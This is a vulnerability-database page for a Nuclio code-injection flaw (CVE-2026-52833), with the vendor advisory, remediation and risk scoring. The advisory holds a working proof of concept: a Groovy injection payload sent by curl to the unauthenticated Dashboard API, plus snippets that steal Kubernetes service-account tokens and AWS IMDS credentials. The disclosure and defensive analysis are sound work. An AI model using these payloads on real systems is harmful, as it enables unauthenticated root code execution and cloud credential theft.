Skip to main content

Nuclio CVE-2026-52833

| EUVDEUVD-2026-70216 HIGH
Code Injection (CWE-94)
2026-07-16 https://github.com/nuclio/nuclio GHSA-3v79-m2cg-89ww
8.0
CVSS 3.1 · Vendor: https://github.com/nuclio/nuclio
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach unauthenticated Dashboard API on port 8070
  2. Delivery
    POST Java function with malicious repositories[]
  3. Exploit
    Groovy breaks out of repositories {} block
  4. Execution
    Gradle configuration phase runs injected code
  5. Persist
    Execute OS commands as root in build container
  6. Impact
    Harvest build-pod credentials and tamper function image

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target build a Java-runtime function (runtime: java), because only the Java build path renders runtimeAttributes.repositories into build.gradle; the attacker supplies the payload in the repositories[] array of a function-create request to the Dashboard API. In the default deployment no special conditions apply - the Dashboard runs with NOP authentication, so remote unauthenticated exploitation works against default configurations of Nuclio <= 1.15.27 with no user interaction. Limiting factors: if an operator has set NUCLIO_AUTH_KIND to a real authenticator, valid credentials are required; if port 8070 is network-restricted, the attacker must be on the trusted network; and if the Java runtime is disabled the injection sink does not exist. Post-exploitation escalation beyond the build pod is further gated - the docker-socket host escape needs a non-default privileged/socket-bound builder, and credential/cloud/cluster pivoting depends on mounted registry secrets, reachable IMDS, or an over-privileged build ServiceAccount.

Impact

The signals conflict and must be reconciled. The supplied CVSS vector (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H, score 8.0) implies high complexity and high privileges, but the advisory directly contradicts this: the Dashboard API ships with NOP authentication by default (PR:N, not PR:H) and exploitation is a single unauthenticated POST with no race condition (AC:L, not AC:H). The vendor advisory and researcher both rate it CVSS 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H); this discrepancy should be resolved in favor of the description-plus-PoC evidence, which is dynamically verified. No EPSS score and no CISA KEV listing are provided, so there is no evidence of active exploitation, but publicly available exploit code exists and is reproducible - making this a real priority rather than a high-CVSS-but-low-real-risk paper finding. Blast radius depends on deployment: under least-privilege configs (no mounted registry/cloud credentials, IMDS blocked, low-privilege build ServiceAccount) impact is contained to code execution and artifact tampering in the build pod; under common production setups (kaniko registry-push secrets, ECR provider secrets, reachable node IMDS, or an over-privileged build SA) the attacker can harvest credentials and pivot to the registry, cluster, or cloud account. The docker-socket host-escape path was tested and found NOT exploitable in the default docker-builder configuration.

Exploit ScenarioDerived

An attacker who can reach the network-exposed, unauthenticated-by-default Nuclio Dashboard API sends a single POST to /api/functions creating a Java function whose runtimeAttributes.repositories[0] contains 'mavenCentral()\n}\nprintln(['sh','-c','id'].execute().text)\nrepositories {'. When Nuclio builds the function, Gradle evaluates the injected Groovy and runs the command as root inside the builder container. A verified PoC in the advisory demonstrates this end-to-end (output '[RCE-PROOF] uid=0(root)'), and with AV:N and low complexity the request is trivially automatable.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 16, 2026

Build-time remote code execution in Nuclio (serverless/FaaS platform) versions <= 1.15.27 lets remote attackers run arbitrary OS commands as root inside the function-builder container. The Java runtime renders user-supplied runtimeAttributes.repositories values into a Groovy build.gradle file via Go's text/template using the non-escaping {{ . }} action, so an attacker can inject a closing brace to break out of the repositories {} block and append Groovy that Gradle executes during its configuration phase. Because the Dashboard API defaults to NOP (no) authentication, exploitation needs no credentials; a dynamically-verified proof-of-concept is published in the vendor advisory, though there is no public exploit identified as being used in active attacks.

RemediationAI

Vendor-released patch: 1.16.5. Upgrade to Nuclio 1.16.5, which adds an allowlist in newBuildAttributes() (types.go) validating each repository value against the regex ^[A-Za-z][A-Za-z0-9_]*\(\)$ so only no-argument declarations such as mavenCentral(), jcenter(), google(), mavenLocal() and gradlePluginPortal() are accepted while braces, newlines, quotes, arguments and method chains are rejected (fix commit 4c78040c759068e927f3ed7c6507543c15d4ae56, PR https://github.com/nuclio/nuclio/pull/4149, advisory https://github.com/nuclio/nuclio/security/advisories/GHSA-3v79-m2cg-89ww). If you cannot upgrade immediately, enable authentication on the Dashboard by setting NUCLIO_AUTH_KIND to a non-NOP authenticator (e.g. iguazio) so the function-creation API rejects anonymous callers; network-restrict Dashboard port 8070 to trusted internal networks or VPN and never expose it to the internet; disable the Java runtime handler if it is unused; and prefer the kaniko builder over the docker builder so the host Docker socket is not mounted (removes the host-escape path but does not stop the in-container RCE). Trade-offs: enabling auth breaks anonymous automation, port restriction can break remote CI integrations, and disabling Java breaks Java function builds.

Affected VersionsENISA

nuclio < 1.16.5

Affected Packages

go github.com/nuclio/nuclio fix: 1.16.5
euvd nuclio fix: 1.16.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a CWE-94 code-injection arising from template-based code generation. In pkg/processor/build/runtime/java/runtime.go, createGradleBuildScript() builds build.gradle with Go's text/template package. Unlike html/template, text/template applies no contextual escaping, so the repositories loop ({{ range .Repositories }}{{ . }}{{ end }}) writes each string verbatim into the Groovy DSL. newBuildAttributes() in types.go decodes runtimeAttributes via mapstructure with no content inspection, so braces, parentheses, quotes and newlines pass straight through. Groovy evaluates every top-level statement in build.gradle at the configuration phase (before any task runs), and its List.execute()/String.execute() extension methods spawn OS processes. The script is compiled inside the quay.io/nuclio/handler-builder-java-onbuild container via build-user-handler.sh, which runs 'gradle tasks' and 'gradle userHandler', so injected code executes twice, unconditionally, as root. The affected package per CPE is pkg:go/github.com_nuclio_nuclio.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nuclio/nuclio) PRIMARY 8.0 HIGH
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 10.0 CRITICAL

Default NOP auth gives PR:N and a single POST gives AC:L over the network (AV:N); code executes in a separate builder container from the vulnerable API (S:C) with full C/I/A impact there.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
SUSE HIGH

Primary rating from Vendor (https://github.com/nuclio/nuclio).

CVSS VectorVendor: https://github.com/nuclio/nuclio

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Nuclio's Java runtime generates a build.gradle file during function builds using Go's text/template package. The template renders runtimeAttributes.repositories[] values with the {{ . }} action, which performs no escaping. An attacker can embed a closing brace (}) to break out of the repositories {} block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase.

The Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing:

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 512ms
  • CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
  • Affected versions: Nuclio <= 1.15.27 (latest as of 2026-05-17, dynamically verified)

---

Details

Root Cause

pkg/processor/build/runtime/java/runtime.go - function createGradleBuildScript()

Step 1. User input flows from the API into the template data map without validation

types.go:50-64 - newBuildAttributes() decodes runtimeAttributes with no content inspection. Any string is accepted for each element of Repositories:

go
// pkg/processor/build/runtime/java/types.go:50-64
func newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, error) {
    newBuildAttributes := buildAttributes{}
    if err := mapstructure.Decode(encodedBuildAttributes, &newBuildAttributes); err != nil {
        return nil, errors.Wrap(err, "Failed to decode build attributes")
    }
    if len(newBuildAttributes.Repositories) == 0 {
        newBuildAttributes.Repositories = []string{"mavenCentral()"}
    }
    return &newBuildAttributes, nil  // no validation of repository string contents
}

Step 2. text/template renders repositories verbatim into Groovy DSL

runtime.go:111,139 - the template is parsed with text/template, which does not HTML-encode or escape special characters. {{ . }} emits each repository string as-is:

go
// runtime.go:111
gradleBuildScriptTemplate, err := template.New("gradleBuildScript").Parse(j.getGradleBuildScriptTemplateContents())

// runtime.go:139
err = gradleBuildScriptTemplate.Execute(io.MultiWriter(&gradleBuildScriptTemplateBuffer, buildFile), data)

The template section for repositories (runtime.go:155-159):

repositories {
    {{ range .Repositories }}
    {{ . }}
    {{ end }}
}

{{ . }} is the verbatim output action. Because text/template (unlike html/template) applies no contextual escaping, any character - including }, (, ), newlines - is written directly to the .gradle file.

Step 3. Gradle evaluates the injected Groovy at configuration phase

The generated build.gradle is passed to ./build-user-handler.sh inside the quay.io/nuclio/handler-builder-java-onbuild container. That script runs:

sh
gradle tasks
# configuration phase: top-level Groovy runs
gradle userHandler
# configuration phase: top-level Groovy runs again

Groovy evaluates every top-level statement in build.gradle before executing any task. Injected code therefore runs unconditionally on both invocations.

Injection Mechanics

Payload for repositories[0]:

mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

Generated build.gradle (confirmed by Dashboard DEBUG log at path /tmp/nuclio-build-378373988/staging/handler/build.gradle):

groovy
plugins {
  id 'com.github.johnrengelman.shadow' version '5.2.0'
  id 'java'
}

repositories {

    mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

}

dependencies {
    compile files('./nuclio-sdk-java-1.1.0.jar')
}

shadowJar {
   baseName = 'user-handler'
   classifier = null
}

task userHandler(dependsOn: shadowJar)

The } on line 9 closes the repositories {} block. println(...) on line 10 becomes a top-level Groovy statement. repositories { on line 11 re-opens a new block that the template's trailing } correctly closes, making the entire file syntactically valid.

Groovy's List.execute() extension method (e.g., ['sh', '-c', 'cmd'].execute()) runs an OS process. .text captures its standard output. The injected println logs the output to Gradle's stdout, which appears in the kaniko executor log.

---

Proof of Concept

Environment Setup

The following steps reproduce the verified environment. All commands were executed and verified on 2026-05-17.

1. Create a dedicated kind cluster
bash
cat > /tmp/kind-vul006.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraPortMappings:
  - containerPort: 8070
    hostPort: 8070
    protocol: TCP
- role: worker
EOF

kind create cluster --name vul-006 --config /tmp/kind-vul006.yaml

Expected output:

Creating cluster "vul-006" ...
 ✓ Ensuring node image (kindest/node:v1.27.3)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
 ✓ Joining worker nodes
Set kubectl context to "kind-vul-006"
2. Pre-load required images
bash
# Pull images on host
docker pull quay.io/nuclio/dashboard:1.15.27-amd64
docker pull quay.io/nuclio/controller:1.15.27-amd64
docker pull gcr.io/kaniko-project/executor:v1.23.2
docker pull quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64
# Load into kind cluster
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-006
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-006
kind load docker-image gcr.io/kaniko-project/executor:v1.23.2 --name vul-006
kind load docker-image quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 --name vul-006
3. Deploy a local image registry accessible from kind nodes
bash
# Start registry (reuse existing if present)
docker run -d --name kind-registry --restart=always \
  --network kind -p 127.0.0.1:5001:5000 registry:2
# Verify kind nodes can reach it
REGISTRY_IP=$(docker inspect kind-registry \
  --format '{{(index .NetworkSettings.Networks "kind").IPAddress}}')
docker exec vul-006-control-plane curl -s http://${REGISTRY_IP}:5000/v2/
# Expected: {}
4. Install Nuclio via Helm
bash
kubectl --context kind-vul-006 create namespace nuclio

cat > /tmp/nuclio-values.yaml <<'EOF'
dashboard:
  enabled: true
  containerBuilderKind: "kaniko"
  monitorDockerDeamon:
    enabled: false
  image:
    pullPolicy: IfNotPresent
  kaniko:
    insecurePushRegistry: true
    insecurePullRegistry: true
    initContainerImage:
      busybox:
        repository: gcr.io/iguazio/alpine
# substitute for busybox if Docker Hub rate-limited
        tag: "3.20"

registry:
  pushPullUrl: "kind-registry:5000"

controller:
  enabled: true
  image:
    pullPolicy: IfNotPresent

rbac:
  create: true
  crdAccessMode: cluster
EOF

helm install nuclio ./hack/k8s/helm/nuclio \
  --namespace nuclio \
  --kube-context kind-vul-006 \
  -f /tmp/nuclio-values.yaml \
  --wait --timeout 120s

Expected output:

NAME: nuclio
STATUS: deployed
REVISION: 1
5. Expose the Dashboard and verify connectivity
bash
kubectl --context kind-vul-006 port-forward \
  -n nuclio svc/nuclio-dashboard 8070:8070 &
# Wait for readiness
sleep 5
curl -s http://localhost:8070/api/functions -o /dev/null -w "HTTP %{http_code}\n"
# Expected: HTTP 200
# Create the default project required by the API
curl -s -X POST http://localhost:8070/api/projects \
  -H "Content-Type: application/json" \
  -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{}}'

Exploitation Steps

Step 1 - Send the malicious function definition

The runtimeAttributes.repositories field accepts any string. Use Python to build a correctly escaped JSON payload:

python
import json, base64
# Minimal valid Java handler source
java_src = """import io.nuclio.Context;
import io.nuclio.Event;
public class Handler implements io.nuclio.EventHandler {
    @Override
    public Object handleEvent(Context ctx, Event event) { return "hello"; }
}"""
# Injection: close the repositories block, run a command, re-open the block
injection = (
    "mavenCentral()\n"
    "}\n"
    "println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)\n"
    "repositories {"
)

payload = {
    "metadata": {"name": "vul006-test", "namespace": "nuclio"},
    "spec": {
        "runtime": "java",
        "handler": "io.nuclio.Handler",
        "build": {
            "functionSourceCode": base64.b64encode(java_src.encode()).decode(),
            "runtimeAttributes": {"repositories": [injection]}
        },
        "minReplicas": 0, "maxReplicas": 1
    }
}

with open("/tmp/payload.json", "w") as f:
    json.dump(payload, f)
bash
HTTP_CODE=$(curl -s -o /tmp/response.json -w "%{http_code}" \
    -X POST http://localhost:8070/api/functions \
    -H "Content-Type: application/json" \
    -H "x-nuclio-project-name: default" \
    -d @/tmp/payload.json)
echo "HTTP: ${HTTP_CODE}"

Expected output:

HTTP: 202

No authentication required. No validation error for the injected repository value.

Step 2 - Confirm template injection in the Dashboard DEBUG log
bash
kubectl --context kind-vul-006 logs \
    -n nuclio deploy/nuclio-dashboard --tail=100 \
    | grep "Created gradle build script" \
    | python3 -c "
import sys, json, re
for line in sys.stdin:
    m = re.search(r'Created gradle build script ({.*})', line)
    if m:
        print(json.loads(m.group(1))['content'])
"

Actual output (from verified run):

plugins {
  id 'com.github.johnrengelman.shadow' version '5.2.0'
  id 'java'
}

repositories {

	mavenCentral()
}
println('[RCE-PROOF] ' + ['sh', '-c', 'id && hostname && whoami'].execute().text)
repositories {

}

dependencies {

    compile files('./nuclio-sdk-java-1.1.0.jar')
}

shadowJar {
   baseName = 'user-handler'
   classifier = null
}

task userHandler(dependsOn: shadowJar)

The Dashboard DEBUG log (path logged: /tmp/nuclio-build-378373988/staging/handler/build.gradle) confirms the injected Groovy reached the file verbatim.

Step 3 - Wait for the kaniko build job and observe RCE output
bash
# Wait for the kaniko pod to appear
until kubectl --context kind-vul-006 get pods -n nuclio --no-headers \
    | grep -q "kaniko"; do sleep 2; done

POD=$(kubectl --context kind-vul-006 get pods -n nuclio --no-headers \
    | grep kaniko | awk '{print $1}')
echo "Build pod: ${POD}"
# Wait for completion
until kubectl --context kind-vul-006 get pod -n nuclio "${POD}" \
    --no-headers | grep -qE "Completed|Error"; do sleep 3; done
# Retrieve execution evidence
kubectl --context kind-vul-006 logs -n nuclio "${POD}" \
    -c kaniko-executor | grep -A3 "RCE-PROOF"

Actual output (from verified run, pod nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr):

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 2s

[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)
nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr
root
BUILD SUCCESSFUL in 512ms

The marker [RCE-PROOF] appears twice - once per gradle invocation (gradle tasks and gradle userHandler). The output confirms:

  • uid=0(root) - execution as root inside the builder container
  • The pod name as hostname - confirms execution is inside the real build container, not simulated
  • root - whoami output corroborates the UID

Cleanup

bash
kubectl --context kind-vul-006 delete nucliofunction vul006-test -n nuclio
kind delete cluster --name vul-006

---

Impact

Direct Impact

An unauthenticated attacker can execute arbitrary OS commands as root inside the function builder container on every Java function build. Confirmed capabilities from the build container environment:

  • Read/write the build container filesystem
  • Access network endpoints reachable from the build pod
  • Tamper with the compiled function artifact (.jar) before it is packaged into the

processor image - effectively poisoning the resulting function's image

Privilege Escalation - Docker Socket Escape (Verified: NOT directly exploitable in default configuration)

Verification result: In the default docker builder configuration, direct Docker socket escape via Gradle code injection is NOT exploitable.

Environment
  • Cluster: kind-vul-009, Nuclio v1.15.27-amd64
  • Builder: NUCLIO_CONTAINER_BUILDER_KIND=docker (confirmed via kubectl describe)
  • Dashboard pod: nuclio-dashboard-5f8ddc949c-sfzh4
  • Verified: 2026-05-19 06:21 UTC
docker.sock Mount Confirmed on Dashboard Pod
Mounts:
  /var/run/docker.sock from docker-sock (rw)

Volumes:
  docker-sock:
    Type:     HostPath (bare host directory volume)
    Path:     /var/run/docker.sock

The Docker socket is accessible within the Dashboard container itself (Docker v29.1.2 API confirmed reachable).

Build Flow in docker Builder Mode

Nuclio generates a Dockerfile.onbuild and submits it to Docker daemon via the socket:

dockerfile
FROM quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64
COPY handler/build.gradle /home/gradle/src/userHandler
COPY ${NUCLIO_BUILD_LOCAL_HANDLER_DIR} /home/gradle/src/userHandler
RUN cd /home/gradle/src/userHandler && ./build-user-handler.sh
# Gradle executes here

Actual command issued (from Dashboard DEBUG log):

docker build --network host --force-rm -t nuclio-onbuild-d8602mam53lc7e12q410 \
  -f Dockerfile.onbuild --build-arg NUCLIO_LABEL=1.15.27 ...
Probe Results (Step 7/9 RUN Layer)

Injection payload in repositories[0]:

mavenCentral()
}
println('[PROBE-1] docker.sock exists: ' + new File('/var/run/docker.sock').exists())
println('[PROBE-2] ' + ['sh', '-c', 'ls -la /var/run/docker.sock 2>&1 || echo NOT_FOUND'].execute().text)
println('[PROBE-ENV] hostname=' + ['sh', '-c', 'hostname'].execute().text.trim())
repositories {

Gradle output (captured twice - once per gradle tasks / gradle userHandler invocation):

> Configure project :
[PROBE-1] docker.sock exists: false
[PROBE-2] ls: cannot access '/var/run/docker.sock': No such file or directory
NOT_FOUND

[PROBE-ENV] hostname=VM-0-8-ubuntu

BUILD SUCCESSFUL in 2s

The RCE executed successfully. The docker.sock does not exist inside the RUN-stage container.

Root Cause

Each RUN instruction in a docker build executes inside an isolated intermediate container (b747a20b21ba). That container:

  1. Has a filesystem built from image layers only - it does not inherit volume mounts from the caller (the Dashboard container).
  2. --network host shares the host network namespace (explaining hostname=VM-0-8-ubuntu) but does not share the filesystem.
  3. Docker daemon never exposes the host filesystem (including /var/run/docker.sock) to build-stage containers unless the Dockerfile explicitly arranges it.
Conditions Required for Exploitability

This path becomes exploitable only under non-default configurations:

  • Dockerfile with explicit socket bind: e.g., BuildKit --mount=type=bind,source=/var/run/docker.sock,... in the onbuild image, or replacing docker build with docker run -v /var/run/docker.sock:/var/run/docker.sock
  • Privileged build containers: --privileged mode with mknod device node creation
  • Docker-in-Docker setup: Docker daemon pre-installed and launched inside the builder image

None of these conditions exist in the standard Nuclio Helm chart deployment.

Evidence: evidence/logs/docker-builder-socket-probe.log

Privilege Escalation - Kubernetes ServiceAccount Token

The build pod can read the ServiceAccount token mounted within it. However, the kaniko Job's serviceAccountName is sourced from builderServiceAccount, function serviceAccount, kaniko.defaultServiceAccount, or the platform's default function SA (see pkg/containerimagebuilderpusher/kaniko.go:301, :375, :840-849). This is not inherently the same as the Nuclio Dashboard's high-privilege ServiceAccount.

In deployments where the build pod uses a high-privilege ServiceAccount (e.g., where an administrator has bound overly broad RBAC roles to the builder SA), an attacker can read the token and query the Kubernetes API:

groovy
// Read the build pod's own SA token (not the Dashboard SA)
def token = new File('/var/run/secrets/kubernetes.io/serviceaccount/token').text
['sh', '-c', "curl -sk -H 'Authorization: Bearer ${token}' " +
 'https://kubernetes.default.svc/api/v1/namespaces/nuclio/secrets'].execute().text

The effective permissions of this token depend on the RBAC bindings of the build pod's ServiceAccount. Under least-privilege configurations, this token may not be able to access sensitive resources.

Cross-Tenant Access (Horizontal Escalation)

Nuclio uses Kubernetes namespaces for tenant isolation. Build containers in docker mode share the host Docker daemon. An attacker can enumerate and access containers belonging to other tenants via the Docker socket.

Cloud Instance Metadata (SSRF - Managed Kubernetes)

In EKS, GKE, or AKS environments, the build container can reach the cloud instance metadata service:

groovy
// AWS IMDSv2 - retrieve IAM role credentials
def imdsToken = ['sh', '-c',
    'curl -s -X PUT "http://169.254.169.254/latest/api/token" ' +
    '-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"'].execute().text.trim()
def role = ['sh', '-c',
    "curl -s -H 'X-aws-ec2-metadata-token: ${imdsToken}' " +
    'http://169.254.169.254/latest/meta-data/iam/security-credentials/'].execute().text

Obtained temporary IAM credentials grant access to AWS services (ECR, S3, etc.) available to the node's IAM role.

---

Severity

CVSS 3.1 Score: 10.0 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MetricValueRationale
Attack VectorNetworkDashboard API is network-accessible
Attack ComplexityLowSingle POST request; no race condition or special preparation
Privileges RequiredNoneDefault NOP authentication requires no credentials
User InteractionNoneNo user action required
ScopeChangedImpact can escape the build container under common production deployments (see below)
ConfidentialityHighRegistry credentials, SA tokens, cloud credentials readable in most deployments
IntegrityHighFunction images can be tampered; cluster resources modifiable
AvailabilityHighBuild pipeline can be disrupted; cluster resources deletable

Rating Rationale

This RCE has realistic conditions for further credential acquisition and lateral movement from the build container. In particular, under the following common production deployment scenarios:

  • Kaniko builds use registry secrets (image push credentials mounted into the build pod)
  • ECR registry provider secrets are configured
  • Node IAM metadata is reachable (IMDS not blocked)
  • Build pods use a high-privilege ServiceAccount

An attacker can read image registry credentials, AWS/GCP temporary credentials, or Kubernetes SA tokens, and subsequently poison the image registry, access cluster resources, or pivot to cloud resources. A Critical rating is justified under these common deployment conditions.

Downgrade conditions: If a deployment follows least-privilege principles - no registry/cloud credential mounts, IMDS blocked, build SA has no sensitive RBAC bindings - the impact is primarily limited to code execution within the build container and artifact tampering. This remains High severity but should not be justified on the basis of "default lateral movement."

---

Affected Versions

  • Nuclio <= 1.15.27 (latest release as of 2026-05-17)
  • All versions that include the Java runtime build path

(pkg/processor/build/runtime/java/runtime.go)

The vulnerability was introduced when the Java runtime and its runtimeAttributes support were added and has not been addressed in any release to date.

---

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5

---

Workarounds

Until a patch is released, the following mitigations reduce exposure:

  1. Enable authentication on the Dashboard. Set NUCLIO_AUTH_KIND to a non-NOP

authenticator (e.g., iguazio). This prevents unauthenticated access to the function creation API.

  1. Network-restrict the Dashboard port (8070). Allow access only from trusted internal

networks or VPN. Do not expose the Dashboard to the public internet.

  1. Disable Java runtime support if not in use. Remove the Java runtime handler from

the dashboard deployment configuration.

  1. Use kaniko over docker builder. In kaniko mode the Docker socket is not mounted,

eliminating the host-escape path. The build-time RCE remains exploitable, but the blast radius is reduced to the build pod.

---

Remediation Recommendations

Option 1 - Input validation (recommended for quick fix)

In newBuildAttributes() (types.go:50), validate each repository string against an allowlist pattern before accepting it:

go
import "regexp"

var repoPattern = regexp.MustCompile(`^[a-zA-Z0-9_\-\(\)\.:\/]+$`)

for _, repo := range newBuildAttributes.Repositories {
    if !repoPattern.MatchString(repo) {
        return nil, fmt.Errorf("invalid repository value: %q", repo)
    }
}

Option 2 - Replace text/template with a safe rendering approach

The repositories block should not use a Go template at all. Build the build.gradle content programmatically using string concatenation with per-value validation, rather than via a template that cannot express per-field escaping semantics.

Option 3 - Content Security: reject newlines and Groovy metacharacters

Reject any repository value containing \n, \r, {, }, (, ), ', ". These characters are not present in valid Maven repository declarations.

---

Resources

  • pkg/processor/build/runtime/java/runtime.go - createGradleBuildScript() (line 87)
  • pkg/processor/build/runtime/java/runtime.go - getGradleBuildScriptTemplateContents() (line 149)
  • pkg/processor/build/runtime/java/types.go - newBuildAttributes() (line 50)
  • Go text/template documentation: https://pkg.go.dev/text/template
  • Groovy List.execute() / String.execute(): https://docs.groovy-lang.org/latest/html/groovy-jdk/java/lang/String.html#execute()
  • Nuclio Dashboard authentication configuration: https://nuclio.io/docs/latest/reference/api/nuclio_dashboard_api/

Executive ViewAI

Why It Matters

Nuclio serverless platform versions 1.15.27 and earlier are vulnerable to unauthenticated remote code execution as root during function builds; publicly available exploit code exists. Attackers can compromise build infrastructure without credentials, potentially contaminating all deployed functions and creating a supply-chain attack vector. Organizations using affected Nuclio instances face immediate risk of application compromise and data breach.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 74% exploitable
Prevalence
Low
niche open-source serverless/FaaS platform, limited production footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

60
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

